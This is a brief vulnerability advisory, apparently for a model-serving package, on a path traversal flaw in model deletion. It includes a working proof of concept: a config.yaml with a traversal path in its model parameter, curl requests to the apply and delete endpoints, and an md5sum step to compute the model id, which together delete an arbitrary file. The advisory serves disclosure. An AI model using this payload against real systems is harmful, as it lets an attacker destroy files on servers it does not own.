Overview
Affected versions of this package are vulnerable to Path Traversal through the model parameter during the model deletion process. An attacker can delete arbitrary files by crafting a request with a manipulated model parameter.
PoC
Create a file named deleteme.txt in the /tmp folder.
Save the following code as config.yaml:
name: "delete_test" parameters: model: ../../../../../../../../tmp/deleteme.txt
usage: | foo
Start a python http server:
python3 -m http.server
Add a model.
curl http://localhost:8080/models/apply -X POST -H "Content-Type: application/json" -d '{"config_url":"<exploit_server>/config.yaml","id":""}'
The model name is the md5 hash of config_url, use this command to calculate this value:
echo -n "<exploit_server>/config.yaml" | md5sum
Delete model:
curl http://localhost:8080/models/delete/f26ecc271c5e79202b71619382c0c22b -X POST
When the process is completed, you will see that the file has been deleted.
